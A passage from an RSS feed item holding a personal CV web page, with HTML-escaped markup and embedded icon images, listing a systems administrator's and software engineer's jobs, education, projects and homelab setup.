&lt;svg class="typst-frame" style="overflow: visible; width: 0.7731958762886599em; height: 1.0309278350515465em;" viewBox="0 0 7.5 10" width="7.5pt" height="10pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-group"&gt;&lt;g&gt;&lt;image xlink:href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAzODQgNTEyIj48IS0tISBGb250IEF3ZXNvbWUgRnJlZSA2LjIuMSBieSBAZm9udGF3ZXNvbWUgLSBodHRwczovL2ZvbnRhd2Vzb21lLmNvbSBMaWNlbnNlIC0gaHR0cHM6Ly9mb250YXdlc29tZS5jb20vbGljZW5zZS9mcmVlIChJY29uczogQ0MgQlkgNC4wLCBGb250czogU0lMIE9GTCAxLjEsIENvZGU6IE1JVCBMaWNlbnNlKSBDb3B5cmlnaHQgMjAyMiBGb250aWNvbnMsIEluYy4gLS0+PHBhdGggZD0iTTIxNS43IDQ5OS4yQzI2NyA0MzUgMzg0IDI3OS40IDM4NCAxOTJDMzg0IDg2IDI5OCAwIDE5MiAwUzAgODYgMCAxOTJjMCA4Ny40IDExNyAyNDMgMTY4LjMgMzA3LjJjMTIuMyAxNS4zIDM1LjEgMTUuMyA0Ny40IDB6TTE5MiAyNTZjLTM1LjMgMC02NC0yOC43LTY0LTY0czI4LjctNjQgNjQtNjRzNjQgMjguNyA2NCA2NHMtMjguNyA2NC02NCA2NHoiLz48L3N2Zz4=" width="7.5" height="10" preserveAspectRatio="none"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;div&gt;London&lt;/div&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Maintaining and monitoring internal infrastucture, including an extensive Linux estate, VMware cluster and Slurm compute cluster.&lt;/li&gt;
&lt;li&gt;Promptly and professionally handling a wide range of internal user queries, across OS support, cluster compute, networking, and desktop support.&lt;/li&gt;
&lt;li&gt;Config management via Puppet and Terraform.&lt;/li&gt;
&lt;li&gt;Automation in Python, streamlining existing processes.&lt;/li&gt;
&lt;li&gt;Datacenter work, racking &amp;amp; patching servers and appliances.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Junior Software Engineer&lt;br&gt;&lt;/h4&gt;
&lt;div class="name"&gt;&lt;em&gt;Cudo&lt;/em&gt;&lt;/div&gt;
&lt;div style="display: flex; align-items: center; gap: 10px;"&gt;
&lt;svg class="typst-frame" style="overflow: visible; width: 0.9020618556701032em; height: 1.0309278350515465em;" viewBox="0 0 8.75 10" width="8.75pt" height="10pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-group"&gt;&lt;g&gt;&lt;image xlink:href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA0NDggNTEyIj48IS0tISBGb250IEF3ZXNvbWUgRnJlZSA2LjIuMSBieSBAZm9udGF3ZXNvbWUgLSBodHRwczovL2ZvbnRhd2Vzb21lLmNvbSBMaWNlbnNlIC0gaHR0cHM6Ly9mb250YXdlc29tZS5jb20vbGljZW5zZS9mcmVlIChJY29uczogQ0MgQlkgNC4wLCBGb250czogU0lMIE9GTCAxLjEsIENvZGU6IE1JVCBMaWNlbnNlKSBDb3B5cmlnaHQgMjAyMiBGb250aWNvbnMsIEluYy4gLS0+PHBhdGggZD0iTTE1MiA2NEgyOTZWMjRDMjk2IDEwLjc1IDMwNi43IDAgMzIwIDBDMzMzLjMgMCAzNDQgMTAuNzUgMzQ0IDI0VjY0SDM4NEM0MTkuMyA2NCA0NDggOTIuNjUgNDQ4IDEyOFY0NDhDNDQ4IDQ4My4zIDQxOS4zIDUxMiAzODQgNTEySDY0QzI4LjY1IDUxMiAwIDQ4My4zIDAgNDQ4VjEyOEMwIDkyLjY1IDI4LjY1IDY0IDY0IDY0SDEwNFYyNEMxMDQgMTAuNzUgMTE0LjcgMCAxMjggMEMxNDEuMyAwIDE1MiAxMC43NSAxNTIgMjRWNjR6TTQ4IDQ0OEM0OCA0NTYuOCA1NS4xNiA0NjQgNjQgNDY0SDM4NEMzOTIuOCA0NjQgNDAwIDQ1Ni44IDQwMCA0NDhWMTkySDQ4VjQ0OHoiLz48L3N2Zz4=" width="8.75" height="10" preserveAspectRatio="none"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;div&gt;Jul 2021 — Jul 2022&lt;/div&gt;
&lt;svg class="typst-frame" style="overflow: visible; width: 0.7731958762886599em; height: 1.0309278350515465em;" viewBox="0 0 7.5 10" width="7.5pt" height="10pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-group"&gt;&lt;g&gt;&lt;image xlink:href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAzODQgNTEyIj48IS0tISBGb250IEF3ZXNvbWUgRnJlZSA2LjIuMSBieSBAZm9udGF3ZXNvbWUgLSBodHRwczovL2ZvbnRhd2Vzb21lLmNvbSBMaWNlbnNlIC0gaHR0cHM6Ly9mb250YXdlc29tZS5jb20vbGljZW5zZS9mcmVlIChJY29uczogQ0MgQlkgNC4wLCBGb250czogU0lMIE9GTCAxLjEsIENvZGU6IE1JVCBMaWNlbnNlKSBDb3B5cmlnaHQgMjAyMiBGb250aWNvbnMsIEluYy4gLS0+PHBhdGggZD0iTTIxNS43IDQ5OS4yQzI2NyA0MzUgMzg0IDI3OS40IDM4NCAxOTJDMzg0IDg2IDI5OCAwIDE5MiAwUzAgODYgMCAxOTJjMCA4Ny40IDExNyAyNDMgMTY4LjMgMzA3LjJjMTIuMyAxNS4zIDM1LjEgMTUuMyA0Ny40IDB6TTE5MiAyNTZjLTM1LjMgMC02NC0yOC43LTY0LTY0czI4LjctNjQgNjQtNjRzNjQgMjguNyA2NCA2NHMtMjguNyA2NC02NCA2NHoiLz48L3N2Zz4=" width="7.5" height="10" preserveAspectRatio="none"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;div&gt;Bournemouth, Dorset&lt;/div&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Helped develop their first Go microservice, as part of an agile team. This reduced risk exposure when exchanging user balances.&lt;/li&gt;
&lt;li&gt;Added metrics to track performance data, using Prometheus and Grafana.&lt;/li&gt;
&lt;li&gt;Worked on their Vue.js web app and Loopback-based API, fixing long-standing bugs and issues in the platform.&lt;/li&gt;
&lt;li&gt;Implemented a Docker based testing workflow to ensure correctness in database interactions.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Junior Systems Administrator&lt;br&gt;&lt;/h4&gt;
&lt;div class="name"&gt;&lt;em&gt;Royal Holloway Physics Dept.&lt;/em&gt;&lt;/div&gt;
&lt;div style="display: flex; align-items: center; gap: 10px;"&gt;
&lt;svg class="typst-frame" style="overflow: visible; width: 0.9020618556701032em; height: 1.0309278350515465em;" viewBox="0 0 8.75 10" width="8.75pt" height="10pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-group"&gt;&lt;g&gt;&lt;image xlink:href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA0NDggNTEyIj48IS0tISBGb250IEF3ZXNvbWUgRnJlZSA2LjIuMSBieSBAZm9udGF3ZXNvbWUgLSBodHRwczovL2ZvbnRhd2Vzb21lLmNvbSBMaWNlbnNlIC0gaHR0cHM6Ly9mb250YXdlc29tZS5jb20vbGljZW5zZS9mcmVlIChJY29uczogQ0MgQlkgNC4wLCBGb250czogU0lMIE9GTCAxLjEsIENvZGU6IE1JVCBMaWNlbnNlKSBDb3B5cmlnaHQgMjAyMiBGb250aWNvbnMsIEluYy4gLS0+PHBhdGggZD0iTTE1MiA2NEgyOTZWMjRDMjk2IDEwLjc1IDMwNi43IDAgMzIwIDBDMzMzLjMgMCAzNDQgMTAuNzUgMzQ0IDI0VjY0SDM4NEM0MTkuMyA2NCA0NDggOTIuNjUgNDQ4IDEyOFY0NDhDNDQ4IDQ4My4zIDQxOS4zIDUxMiAzODQgNTEySDY0QzI4LjY1IDUxMiAwIDQ4My4zIDAgNDQ4VjEyOEMwIDkyLjY1IDI4LjY1IDY0IDY0IDY0SDEwNFYyNEMxMDQgMTAuNzUgMTE0LjcgMCAxMjggMEMxNDEuMyAwIDE1MiAxMC43NSAxNTIgMjRWNjR6TTQ4IDQ0OEM0OCA0NTYuOCA1NS4xNiA0NjQgNjQgNDY0SDM4NEMzOTIuOCA0NjQgNDAwIDQ1Ni44IDQwMCA0NDhWMTkySDQ4VjQ0OHoiLz48L3N2Zz4=" width="8.75" height="10" preserveAspectRatio="none"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;div&gt;Oct 2019 — Jul 2021&lt;/div&gt;
&lt;svg class="typst-frame" style="overflow: visible; width: 0.7731958762886599em; height: 1.0309278350515465em;" viewBox="0 0 7.5 10" width="7.5pt" height="10pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-group"&gt;&lt;g&gt;&lt;image xlink:href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAzODQgNTEyIj48IS0tISBGb250IEF3ZXNvbWUgRnJlZSA2LjIuMSBieSBAZm9udGF3ZXNvbWUgLSBodHRwczovL2ZvbnRhd2Vzb21lLmNvbSBMaWNlbnNlIC0gaHR0cHM6Ly9mb250YXdlc29tZS5jb20vbGljZW5zZS9mcmVlIChJY29uczogQ0MgQlkgNC4wLCBGb250czogU0lMIE9GTCAxLjEsIENvZGU6IE1JVCBMaWNlbnNlKSBDb3B5cmlnaHQgMjAyMiBGb250aWNvbnMsIEluYy4gLS0+PHBhdGggZD0iTTIxNS43IDQ5OS4yQzI2NyA0MzUgMzg0IDI3OS40IDM4NCAxOTJDMzg0IDg2IDI5OCAwIDE5MiAwUzAgODYgMCAxOTJjMCA4Ny40IDExNyAyNDMgMTY4LjMgMzA3LjJjMTIuMyAxNS4zIDM1LjEgMTUuMyA0Ny40IDB6TTE5MiAyNTZjLTM1LjMgMC02NC0yOC43LTY0LTY0czI4LjctNjQgNjQtNjRzNjQgMjguNyA2NCA2NHMtMjguNyA2NC02NCA2NHoiLz48L3N2Zz4=" width="7.5" height="10" preserveAspectRatio="none"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;div&gt;Egham, Surrey&lt;/div&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Helped with migration from legacy Nagios monitoring system to Icinga, to ensure service continuity.&lt;/li&gt;
&lt;li&gt;Installed &amp;amp; imaged rack mounted servers for use within a Hadoop compute cluster.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;References available on request.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Education&lt;/h3&gt;
&lt;h4&gt;B.Sc. Computer Science (Year in Industry), 1st&lt;br&gt;&lt;/h4&gt;
&lt;div class="name"&gt;&lt;em&gt;Royal Holloway, University of London&lt;/em&gt;&lt;/div&gt;
&lt;div style="display: flex; align-items: center; gap: 10px;"&gt;
&lt;svg class="typst-frame" style="overflow: visible; width: 0.9020618556701032em; height: 1.0309278350515465em;" viewBox="0 0 8.75 10" width="8.75pt" height="10pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-group"&gt;&lt;g&gt;&lt;image xlink:href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA0NDggNTEyIj48IS0tISBGb250IEF3ZXNvbWUgRnJlZSA2LjIuMSBieSBAZm9udGF3ZXNvbWUgLSBodHRwczovL2ZvbnRhd2Vzb21lLmNvbSBMaWNlbnNlIC0gaHR0cHM6Ly9mb250YXdlc29tZS5jb20vbGljZW5zZS9mcmVlIChJY29uczogQ0MgQlkgNC4wLCBGb250czogU0lMIE9GTCAxLjEsIENvZGU6IE1JVCBMaWNlbnNlKSBDb3B5cmlnaHQgMjAyMiBGb250aWNvbnMsIEluYy4gLS0+PHBhdGggZD0iTTE1MiA2NEgyOTZWMjRDMjk2IDEwLjc1IDMwNi43IDAgMzIwIDBDMzMzLjMgMCAzNDQgMTAuNzUgMzQ0IDI0VjY0SDM4NEM0MTkuMyA2NCA0NDggOTIuNjUgNDQ4IDEyOFY0NDhDNDQ4IDQ4My4zIDQxOS4zIDUxMiAzODQgNTEySDY0QzI4LjY1IDUxMiAwIDQ4My4zIDAgNDQ4VjEyOEMwIDkyLjY1IDI4LjY1IDY0IDY0IDY0SDEwNFYyNEMxMDQgMTAuNzUgMTE0LjcgMCAxMjggMEMxNDEuMyAwIDE1MiAxMC43NSAxNTIgMjRWNjR6TTQ4IDQ0OEM0OCA0NTYuOCA1NS4xNiA0NjQgNjQgNDY0SDM4NEMzOTIuOCA0NjQgNDAwIDQ1Ni44IDQwMCA0NDhWMTkySDQ4VjQ0OHoiLz48L3N2Zz4=" width="8.75" height="10" preserveAspectRatio="none"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;div&gt;Sep 2019 — Jul 2023&lt;/div&gt;
&lt;svg class="typst-frame" style="overflow: visible; width: 0.7731958762886599em; height: 1.0309278350515465em;" viewBox="0 0 7.5 10" width="7.5pt" height="10pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-group"&gt;&lt;g&gt;&lt;image xlink:href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAzODQgNTEyIj48IS0tISBGb250IEF3ZXNvbWUgRnJlZSA2LjIuMSBieSBAZm9udGF3ZXNvbWUgLSBodHRwczovL2ZvbnRhd2Vzb21lLmNvbSBMaWNlbnNlIC0gaHR0cHM6Ly9mb250YXdlc29tZS5jb20vbGljZW5zZS9mcmVlIChJY29uczogQ0MgQlkgNC4wLCBGb250czogU0lMIE9GTCAxLjEsIENvZGU6IE1JVCBMaWNlbnNlKSBDb3B5cmlnaHQgMjAyMiBGb250aWNvbnMsIEluYy4gLS0+PHBhdGggZD0iTTIxNS43IDQ5OS4yQzI2NyA0MzUgMzg0IDI3OS40IDM4NCAxOTJDMzg0IDg2IDI5OCAwIDE5MiAwUzAgODYgMCAxOTJjMCA4Ny40IDExNyAyNDMgMTY4LjMgMzA3LjJjMTIuMyAxNS4zIDM1LjEgMTUuMyA0Ny40IDB6TTE5MiAyNTZjLTM1LjMgMC02NC0yOC43LTY0LTY0czI4LjctNjQgNjQtNjRzNjQgMjguNyA2NCA2NHMtMjguNyA2NC02NCA2NHoiLz48L3N2Zz4=" width="7.5" height="10" preserveAspectRatio="none"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;div&gt;Egham, Surrey&lt;/div&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Final Year Project: offline HTML5 map viewer app. I implemented a TypeScript parser for the binary Mapsforge file format, along with a HTML canvas-based map renderer.&lt;/li&gt;
&lt;li&gt;Studied modules including: Software Language Engineering, Functional Programming, User-Centred Design, Multi-Agent Systems, Databases, and Operating Systems.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;A-Levels&lt;br&gt;&lt;/h4&gt;
&lt;div class="name"&gt;&lt;em&gt;Bournemouth School Sixth Form&lt;/em&gt;&lt;/div&gt;
&lt;div style="display: flex; align-items: center; gap: 10px;"&gt;
&lt;svg class="typst-frame" style="overflow: visible; width: 0.9020618556701032em; height: 1.0309278350515465em;" viewBox="0 0 8.75 10" width="8.75pt" height="10pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-group"&gt;&lt;g&gt;&lt;image xlink:href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA0NDggNTEyIj48IS0tISBGb250IEF3ZXNvbWUgRnJlZSA2LjIuMSBieSBAZm9udGF3ZXNvbWUgLSBodHRwczovL2ZvbnRhd2Vzb21lLmNvbSBMaWNlbnNlIC0gaHR0cHM6Ly9mb250YXdlc29tZS5jb20vbGljZW5zZS9mcmVlIChJY29uczogQ0MgQlkgNC4wLCBGb250czogU0lMIE9GTCAxLjEsIENvZGU6IE1JVCBMaWNlbnNlKSBDb3B5cmlnaHQgMjAyMiBGb250aWNvbnMsIEluYy4gLS0+PHBhdGggZD0iTTE1MiA2NEgyOTZWMjRDMjk2IDEwLjc1IDMwNi43IDAgMzIwIDBDMzMzLjMgMCAzNDQgMTAuNzUgMzQ0IDI0VjY0SDM4NEM0MTkuMyA2NCA0NDggOTIuNjUgNDQ4IDEyOFY0NDhDNDQ4IDQ4My4zIDQxOS4zIDUxMiAzODQgNTEySDY0QzI4LjY1IDUxMiAwIDQ4My4zIDAgNDQ4VjEyOEMwIDkyLjY1IDI4LjY1IDY0IDY0IDY0SDEwNFYyNEMxMDQgMTAuNzUgMTE0LjcgMCAxMjggMEMxNDEuMyAwIDE1MiAxMC43NSAxNTIgMjRWNjR6TTQ4IDQ0OEM0OCA0NTYuOCA1NS4xNiA0NjQgNjQgNDY0SDM4NEMzOTIuOCA0NjQgNDAwIDQ1Ni44IDQwMCA0NDhWMTkySDQ4VjQ0OHoiLz48L3N2Zz4=" width="8.75" height="10" preserveAspectRatio="none"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;div&gt;Sep 2017 — Aug 2019&lt;/div&gt;
&lt;svg class="typst-frame" style="overflow: visible; width: 0.7731958762886599em; height: 1.0309278350515465em;" viewBox="0 0 7.5 10" width="7.5pt" height="10pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-group"&gt;&lt;g&gt;&lt;image xlink:href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAzODQgNTEyIj48IS0tISBGb250IEF3ZXNvbWUgRnJlZSA2LjIuMSBieSBAZm9udGF3ZXNvbWUgLSBodHRwczovL2ZvbnRhd2Vzb21lLmNvbSBMaWNlbnNlIC0gaHR0cHM6Ly9mb250YXdlc29tZS5jb20vbGljZW5zZS9mcmVlIChJY29uczogQ0MgQlkgNC4wLCBGb250czogU0lMIE9GTCAxLjEsIENvZGU6IE1JVCBMaWNlbnNlKSBDb3B5cmlnaHQgMjAyMiBGb250aWNvbnMsIEluYy4gLS0+PHBhdGggZD0iTTIxNS43IDQ5OS4yQzI2NyA0MzUgMzg0IDI3OS40IDM4NCAxOTJDMzg0IDg2IDI5OCAwIDE5MiAwUzAgODYgMCAxOTJjMCA4Ny40IDExNyAyNDMgMTY4LjMgMzA3LjJjMTIuMyAxNS4zIDM1LjEgMTUuMyA0Ny40IDB6TTE5MiAyNTZjLTM1LjMgMC02NC0yOC43LTY0LTY0czI4LjctNjQgNjQtNjRzNjQgMjguNyA2NCA2NHMtMjguNyA2NC02NCA2NHoiLz48L3N2Zz4=" width="7.5" height="10" preserveAspectRatio="none"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;div&gt;Bournemouth, Dorset&lt;/div&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Computer Science (B), Geography (B), Resistant Materials (C), and Physics (D)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Projects&lt;/h3&gt;
&lt;h4&gt;&lt;a href="https://github.com/GeorgeHoneywood/drazil"&gt;Web Music Player&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Created a Spotify-like online music player for your private music collection, with a Go backend and a Vue frontend. Has an album artwork view, and you can queue up songs.&lt;/p&gt;
&lt;h4&gt;&lt;a href="https://github.com/GeorgeHoneywood/thegoodmap/"&gt;The Good Map&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Collaboratively developed a cross-platform mobile app in Flutter, to allow users to find ecofriendly establishments, using data from OpenStreetMap.&lt;/p&gt;
&lt;h4&gt;Employee Appraisal System&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;University project, worked as part of a 4-person team to create a web app, designed to evaluate employees of a company.&lt;/li&gt;
&lt;li&gt;Developed an API in Flask to conform to a Requirements Specification and Design Description.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Hackathons&lt;/h4&gt;
&lt;dl&gt;
&lt;dt&gt;&lt;a href="https://github.com/GeorgeHoneywood/PubHub"&gt;Pub Hub&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;collaborated on a tool designed to find the optimal route for a pub crawl, providing a solution for the travelling salesman problem.&lt;/dd&gt;
&lt;dt&gt;&lt;a href="https://github.com/JoeRourke123/metamap"&gt;Metamap&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;developed a location based social media app for Android, with the concept of only showing posts within a certain radius of the user.&lt;/dd&gt;
&lt;/dl&gt;
&lt;h4&gt;Homelab&lt;/h4&gt;
&lt;p&gt;I administrate a headless server which hosts utilities and storage for my home network. It runs Proxmox VE as a hypervisor, with ZFS to provide storage. Each service runs in a separate LXC container, which provides some isolation, without the overhead of full VMs.&lt;br&gt;I also use a small VPS to run other services, like my &lt;a href="https://george.honeywood.org.uk"&gt;personal website&lt;/a&gt; (that you are currently viewing!) and a WireGuard®︎ VPN.&lt;/p&gt;
&lt;h3&gt;Interests&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Using and contributing to free &amp;amp; open-source software&lt;/li&gt;
&lt;li&gt;Editing OpenStreetMap, using JOSM or Every Door&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;</description></item></channel></rss>